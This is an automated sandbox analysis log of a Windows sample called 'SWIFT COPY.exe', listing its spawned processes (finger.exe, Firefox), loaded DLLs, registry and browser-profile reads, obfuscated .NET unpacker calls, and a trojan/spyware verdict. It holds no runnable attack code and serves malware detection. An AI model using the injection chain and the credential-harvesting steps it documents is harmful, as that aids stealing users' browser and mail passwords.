Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_0311FA49	7_2_0311FA49
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_030D3A6C	7_2_030D3A6C
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_030FDAAC	7_2_030FDAAC
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_030A5AA0	7_2_030A5AA0
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03101AA3	7_2_03101AA3
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_0310DAC6	7_2_0310DAC6
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_030F5910	7_2_030F5910
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03069950	7_2_03069950
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_0307B950	7_2_0307B950
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_030CD800	7_2_030CD800
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_030638E0	7_2_030638E0
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_0311FF09	7_2_0311FF09
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03061F92	7_2_03061F92
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_0311FFB1	7_2_0311FFB1
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03023FD2	7_2_03023FD2
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03023FD5	7_2_03023FD5
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03069EB0	7_2_03069EB0
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03063D40	7_2_03063D40
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03111D5A	7_2_03111D5A
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03117D73	7_2_03117D73
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_0307FDC0	7_2_0307FDC0
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_030D9C32	7_2_030D9C32
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_0311FCF2	7_2_0311FCF2
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_02881ED0	7_2_02881ED0
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_0287CFE0	7_2_0287CFE0
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_0287AFE8	7_2_0287AFE8
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_0287AFF0	7_2_0287AFF0
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_0287CDC0	7_2_0287CDC0
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_0287B136	7_2_0287B136
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_0287B140	7_2_0287B140
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_02883770	7_2_02883770
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_02885560	7_2_02885560
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_0289BC20	7_2_0289BC20
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_02F7E398	7_2_02F7E398
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_02F7E4B3	7_2_02F7E4B3
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_02F7CBAA	7_2_02F7CBAA
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_02F7D8E3	7_2_02F7D8E3
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_02F7E84C	7_2_02F7E84C
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_02F7D918	7_2_02F7D918

Source: C:\Windows\SysWOW64\finger.exe	Code function: String function: 030DF290 appears 103 times
Source: C:\Windows\SysWOW64\finger.exe	Code function: String function: 03095130 appears 58 times
Source: C:\Windows\SysWOW64\finger.exe	Code function: String function: 030A7E54 appears 107 times
Source: C:\Windows\SysWOW64\finger.exe	Code function: String function: 030CEA12 appears 86 times
Source: C:\Windows\SysWOW64\finger.exe	Code function: String function: 0304B970 appears 262 times
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: String function: 0132B970 appears 262 times
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: String function: 013AEA12 appears 86 times
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: String function: 01387E54 appears 107 times
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: String function: 013BF290 appears 103 times
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: String function: 01375130 appears 58 times

Source: SWIFT COPY.exe, 00000000.00000002.1883711010.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs SWIFT COPY.exe
Source: SWIFT COPY.exe, 00000000.00000002.1891135777.0000000007780000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameArthur.dll" vs SWIFT COPY.exe
Source: SWIFT COPY.exe, 00000000.00000000.1715349562.0000000000752000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameZHWfc.exe4 vs SWIFT COPY.exe
Source: SWIFT COPY.exe, 00000000.00000002.1893555495.000000000A090000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs SWIFT COPY.exe
Source: SWIFT COPY.exe, 00000003.00000002.2224493512.0000000000EA8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamefinger.exej% vs SWIFT COPY.exe
Source: SWIFT COPY.exe, 00000003.00000002.2224917606.000000000142D000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs SWIFT COPY.exe
Source: SWIFT COPY.exe	Binary or memory string: OriginalFilenameZHWfc.exe4 vs SWIFT COPY.exe

Source: SWIFT COPY.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: SWIFT COPY.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.SWIFT COPY.exe.a090000.4.raw.unpack, dfYpPxNTwkBs8S5PKa.cs	Security API names: _0020.SetAccessControl
Source: 0.2.SWIFT COPY.exe.a090000.4.raw.unpack, dfYpPxNTwkBs8S5PKa.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.SWIFT COPY.exe.a090000.4.raw.unpack, dfYpPxNTwkBs8S5PKa.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: 0.2.SWIFT COPY.exe.a090000.4.raw.unpack, CkhZDfJRAqSUsrAlWc.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/2@4/3

Source: C:\Users\user\Desktop\SWIFT COPY.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SWIFT COPY.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\SWIFT COPY.exe

Mutant created: NULL

Source: C:\Windows\SysWOW64\finger.exe

File created: C:\Users\user\AppData\Local\Temp\40F193-3PQ

Jump to behavior

Source: SWIFT COPY.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: SWIFT COPY.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\SWIFT COPY.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: finger.exe, 00000007.00000002.3578499987.0000000002A86000.00000004.00000020.00020000.00000000.sdmp, finger.exe, 00000007.00000003.2406743191.0000000002A86000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: SWIFT COPY.exe	Virustotal: Detection: 34%
Source: SWIFT COPY.exe	ReversingLabs: Detection: 63%

Source: unknown	Process created: C:\Users\user\Desktop\SWIFT COPY.exe "C:\Users\user\Desktop\SWIFT COPY.exe"
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Process created: C:\Users\user\Desktop\SWIFT COPY.exe "C:\Users\user\Desktop\SWIFT COPY.exe"
Source: C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe	Process created: C:\Windows\SysWOW64\finger.exe "C:\Windows\SysWOW64\finger.exe"
Source: C:\Windows\SysWOW64\finger.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Process created: C:\Users\user\Desktop\SWIFT COPY.exe "C:\Users\user\Desktop\SWIFT COPY.exe"	Jump to behavior
Source: C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe	Process created: C:\Windows\SysWOW64\finger.exe "C:\Windows\SysWOW64\finger.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\finger.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\SWIFT COPY.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Windows\SysWOW64\finger.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\finger.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\finger.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\finger.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\finger.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\finger.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\finger.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\finger.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\finger.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\finger.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\finger.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\finger.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\finger.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\finger.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\finger.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\finger.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\finger.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\finger.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\finger.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\finger.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\finger.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\finger.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\finger.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\finger.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Users\user\Desktop\SWIFT COPY.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\SWIFT COPY.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\SysWOW64\finger.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Jump to behavior

Source: SWIFT COPY.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: SWIFT COPY.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: finger.pdb source: SWIFT COPY.exe, 00000003.00000002.2224493512.0000000000EA8000.00000004.00000020.00020000.00000000.sdmp, XwGiOcrCkQ.exe, 00000006.00000002.3578837135.000000000083E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: XwGiOcrCkQ.exe, 00000006.00000002.3579093202.0000000000E6E000.00000002.00000001.01000000.0000000C.sdmp, XwGiOcrCkQ.exe, 00000008.00000000.2293359567.0000000000E6E000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: wntdll.pdbUGP source: SWIFT COPY.exe, 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, finger.exe, 00000007.00000002.3579576147.00000000031BE000.00000040.00001000.00020000.00000000.sdmp, finger.exe, 00000007.00000002.3579576147.0000000003020000.00000040.00001000.00020000.00000000.sdmp, finger.exe, 00000007.00000003.2223664061.0000000002CC0000.00000004.00000020.00020000.00000000.sdmp, finger.exe, 00000007.00000003.2227019502.0000000002E74000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: SWIFT COPY.exe, SWIFT COPY.exe, 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, finger.exe, finger.exe, 00000007.00000002.3579576147.00000000031BE000.00000040.00001000.00020000.00000000.sdmp, finger.exe, 00000007.00000002.3579576147.0000000003020000.00000040.00001000.00020000.00000000.sdmp, finger.exe, 00000007.00000003.2223664061.0000000002CC0000.00000004.00000020.00020000.00000000.sdmp, finger.exe, 00000007.00000003.2227019502.0000000002E74000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: finger.pdbGCTL source: SWIFT COPY.exe, 00000003.00000002.2224493512.0000000000EA8000.00000004.00000020.00020000.00000000.sdmp, XwGiOcrCkQ.exe, 00000006.00000002.3578837135.000000000083E000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains potential unpacker

Source: 0.2.SWIFT COPY.exe.a090000.4.raw.unpack, dfYpPxNTwkBs8S5PKa.cs	.Net Code: nAh8jNlwVj System.Reflection.Assembly.Load(byte[])
Source: 0.2.SWIFT COPY.exe.43c5b98.1.raw.unpack, MainForm.cs	.Net Code: _202B_200C_200F_200D_200D_202A_206D_202C_200B_200E_202B_206E_206B_206B_206E_200B_200F_206E_200E_202E_200F_202A_200D_200B_206C_206B_200F_200B_200C_206A_206A_200F_202E_200C_206E_200F_206C_206D_202D_202B_202E System.Reflection.Assembly.Load(byte[])
Source: 0.2.SWIFT COPY.exe.43a5b78.2.raw.unpack, MainForm.cs	.Net Code: _202B_200C_200F_200D_200D_202A_206D_202C_200B_200E_202B_206E_206B_206B_206E_200B_200F_206E_200E_202E_200F_202A_200D_200B_206C_206B_200F_200B_200C_206A_206A_200F_202E_200C_206E_200F_206C_206D_202D_202B_202E System.Reflection.Assembly.Load(byte[])

Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_04FB1EBF pushad ; retf	0_2_04FB1EC6
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_09D43361 push 69C84589h; ret	0_2_09D43371
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_09D43B6F push 69C84589h; ret	0_2_09D43B74
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_09D4333C push 69C84589h; ret	0_2_09D43343
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_09D43AB5 push 69C84589h; ret	0_2_09D43ABA
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 0_2_09D43D6E push 69D04589h; ret	0_2_09D43D75
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_00416163 pusha ; iretd	3_2_004160B8
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_00403110 push eax; ret	3_2_00403112
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0040D1E1 push edx; retf	3_2_0040D1EB
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0041427A push esp; ret	3_2_00414347
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_00414222 push esp; ret	3_2_00414347
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0040D2E0 push edi; retf	3_2_0040D2E4
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0041435B push esp; ret	3_2_00414347
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_00401D02 push ss; iretd	3_2_00401D04
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_00418D36 push ds; iretd	3_2_00418D3C
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_00414587 push edi; ret	3_2_0041459C
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_00414593 push edi; ret	3_2_0041459C
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_00416626 push eax; ret	3_2_004166A4
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_00415ED3 pusha ; iretd	3_2_004160B8
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0041177F pushfd ; ret	3_2_00411786
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_00423783 push edi; iretd	3_2_0042378E
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0130225F pushad ; ret	3_2_013027F9
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013027FA pushad ; ret	3_2_013027F9
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013309AD push ecx; mov dword ptr [esp], ecx	3_2_013309B6
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0130283D push eax; iretd	3_2_01302858
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_0302225F pushad ; ret	7_2_030227F9
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_030227FA pushad ; ret	7_2_030227F9
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_030509AD push ecx; mov dword ptr [esp], ecx	7_2_030509B6
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_0302283D push eax; iretd	7_2_03022858
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03021366 push eax; iretd	7_2_03021369
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_0289066A push edi; iretd	7_2_0289067B

Source: SWIFT COPY.exe

Static PE information: section name: .text entropy: 7.67844699512359

Source: 0.2.SWIFT COPY.exe.a090000.4.raw.unpack, pgOolZTETHev4y8l3L.cs	High entropy of concatenated method names: 'BL0WpxPWCr', 'YdEWMgaet4', 'MHxWJuqSf0', 'yq9WT3J9V7', 'mugWGNLI95', 'XpuWm30WUo', 'Ya0WrrZS9a', 'l18Wv0Np8g', 'i3qWVI1WNP', 'QjZWLdO7Db'
Source: 0.2.SWIFT COPY.exe.a090000.4.raw.unpack, ngHNgwPPjJV6Lt7hwqE.cs	High entropy of concatenated method names: 'dHOL0dqFtp', 'wI5LzflbHl', 'e5F7IUkfWr', 'FDW7PBn3Pa', 'Ixe71IBPpR', 'saE7tC9p5F', 'jgN78iquZi', 'dAK76e5Cf4', 'Hok7A3MKwS', 'V8V7KHLQ6K'
Source: 0.2.SWIFT COPY.exe.a090000.4.raw.unpack, JX1AgVop2XP58dnRsU.cs	High entropy of concatenated method names: 'FpjqkFOY44', 'mMgq2KgvVS', 'pksqjGFZBG', 'kuWqpuxCFl', 'hDYqQi4ysO', 'uvdqMJnTeE', 'n7BqhdUZ1l', 'NUQqJ0csLA', 'fKYqT4YFgY', 'nUcqddYrWu'
Source: 0.2.SWIFT COPY.exe.a090000.4.raw.unpack, GXDUQXSxvOdGW2xpWV.cs	High entropy of concatenated method names: 'v58qAC8jMW', 'yJCqW8RhtB', 'HWVqFgKsGk', 'dsxF0okuos', 'S2FFzCjrlQ', 'XQYqI7Ryyg', 'y0VqPp3cpY', 'ogKq1RYrDS', 'IIuqtPLmmm', 'k4Bq8U4Gyt'
Source: 0.2.SWIFT COPY.exe.a090000.4.raw.unpack, kevnhJKpftn38XCllX.cs	High entropy of concatenated method names: 'Dispose', 'e1tPXKOt48', 'FEa1fVPHJk', 'd7wtRRMqgr', 'w5nP0Gsl5q', 'oTgPz3useE', 'ProcessDialogKey', 'VE61IcxAhM', 'AK71PU6ey0', 'gYW11RPQcB'
Source: 0.2.SWIFT COPY.exe.a090000.4.raw.unpack, tdj7d88J2lr2blLl6y.cs	High entropy of concatenated method names: 'JLhPqkhZDf', 'RAqPNSUsrA', 'QETP4Hev4y', 'dl3PiLyUS1', 'RpKPGxFJmm', 'znCPml1ys8', 'uWxpuixyik2Z8h6moH', 'V3vKyBwb8uyVx6DdgY', 'D6WPPZ29jM', 'AjBPtMnvwc'
Source: 0.2.SWIFT COPY.exe.a090000.4.raw.unpack, SUS1Y7d06todxRpKxF.cs	High entropy of concatenated method names: 'n4RYQnAofO', 'SOWYh6MIdj', 'EOFWBJngle', 'nUwWD7HfWB', 'uGIWCdk1xm', 'zj4W3g07yt', 'eqZWSV3B2J', 'KAPWO77sS1', 'TVIWoPLcYu', 'QwaWgeY98R'
Source: 0.2.SWIFT COPY.exe.a090000.4.raw.unpack, fmQfxYH8J5TSNfKiWf.cs	High entropy of concatenated method names: 'LRHr4Txl41', 'UvdriJaETU', 'ToString', 'C37rAD6vXF', 'df8rKNK3du', 'txxrWHpk9m', 'LMLrY8d0iW', 'T9ArF6o3EW', 'vZCrqyMal0', 'y4SrNblDuN'
Source: 0.2.SWIFT COPY.exe.a090000.4.raw.unpack, ANnFHbfW0Do6vnXHF0.cs	High entropy of concatenated method names: 'Cp0GXJClKONR1pnlNcw', 'CItZpdC1DdVxeuIA0xl', 'z6yFvEF3SQ', 'hRKFVeiex5', 'WoLFLomen4', 'dgbXDsCRfUoultkHHBX', 'KfVSaJCtw9YEGlvvcgI'
Source: 0.2.SWIFT COPY.exe.a090000.4.raw.unpack, CkhZDfJRAqSUsrAlWc.cs	High entropy of concatenated method names: 'GiTKR1kmc1', 'd3tK5noqpj', 'MruKyaB0bg', 'lpTKHXw6oc', 'oUmKnFR7gI', 'jeEKs8rake', 'yUyKUqogDy', 'Wg3Kl0rOe9', 'nJAKXCvFj2', 'pMHK0Rv4ei'
Source: 0.2.SWIFT COPY.exe.a090000.4.raw.unpack, bTxYwBPIS41pIrFLa9k.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'tU2LuqcTpn', 'BvLLwW2rbU', 'PF1LZMGJMs', 'nUNLRTLav1', 'EbML5amghQ', 'B7BLy9S9FT', 'kTuLH6W2g2'
Source: 0.2.SWIFT COPY.exe.a090000.4.raw.unpack, uVBRfg13TDMbJMd0Fp.cs	High entropy of concatenated method names: 'J9sjJvQvR', 'abap54fvr', 'wYlMVnCNb', 'K9ohPXmZ2', 'mwDTUf8nx', 'xC2dfEH5o', 'VeaT8sZQMpUel4qmBr', 'T6Sv1D2JsV5X4q6FAT', 'SRrvADwKh', 'jwfL5wlgE'
Source: 0.2.SWIFT COPY.exe.a090000.4.raw.unpack, rAtFfJzSo8Tf2AFjuv.cs	High entropy of concatenated method names: 'fUlLMujlNR', 'PCULJNJh0R', 'eVhLTJj8eR', 'mOsLcBmLPZ', 'A9fLfir67b', 'ghELDuLpJS', 'nBDLC6spf7', 'sWpLxKksHK', 'Cx2LkgJxWs', 'pF2L2sasFy'
Source: 0.2.SWIFT COPY.exe.a090000.4.raw.unpack, dfYpPxNTwkBs8S5PKa.cs	High entropy of concatenated method names: 'W36t6KgUgy', 'wuWtAd9gPW', 'VALtKmAEvx', 'lhFtW05bGf', 'GUttYGFA3S', 'htjtFKYjHb', 'xN7tqyUk31', 'hALtNsEgTf', 'iLKta9U8PU', 'j81t4NCrFY'
Source: 0.2.SWIFT COPY.exe.a090000.4.raw.unpack, DmmpnCcl1ys8cOY6PB.cs	High entropy of concatenated method names: 'YeCF6hjxX4', 'gmTFKjVSA9', 'lrsFYMtkr8', 'iZnFqj9C8c', 'xO5FNZDKIP', 'TpCYn7wQpH', 'ltjYsU12nF', 'f8LYUeAS9o', 'kWcYlMylLt', 'fCuYXTA4jD'
Source: 0.2.SWIFT COPY.exe.a090000.4.raw.unpack, LJ6VphyIn8SWBcejBx.cs	High entropy of concatenated method names: 'ToString', 'GvomuNipYL', 'g8qmfrDS1O', 'pp1mBpj3RC', 'DA2mDgxZb6', 'wpUmCQJmFW', 'b4Cm3HKEFW', 'bnOmS2mjZd', 'VrAmOcnfbQ', 'IAvmoayxvZ'
Source: 0.2.SWIFT COPY.exe.a090000.4.raw.unpack, PRVwXMUYh81tKOt48b.cs	High entropy of concatenated method names: 'g5IVGJ7MIZ', 'UKdVrUsb2B', 'NfRVVgUH8B', 'hKgV7niOp3', 'wALVEXWytf', 'kttVxpay4g', 'Dispose', 'g81vAsP1A3', 'wMkvKhW3N6', 'dclvWndEKi'
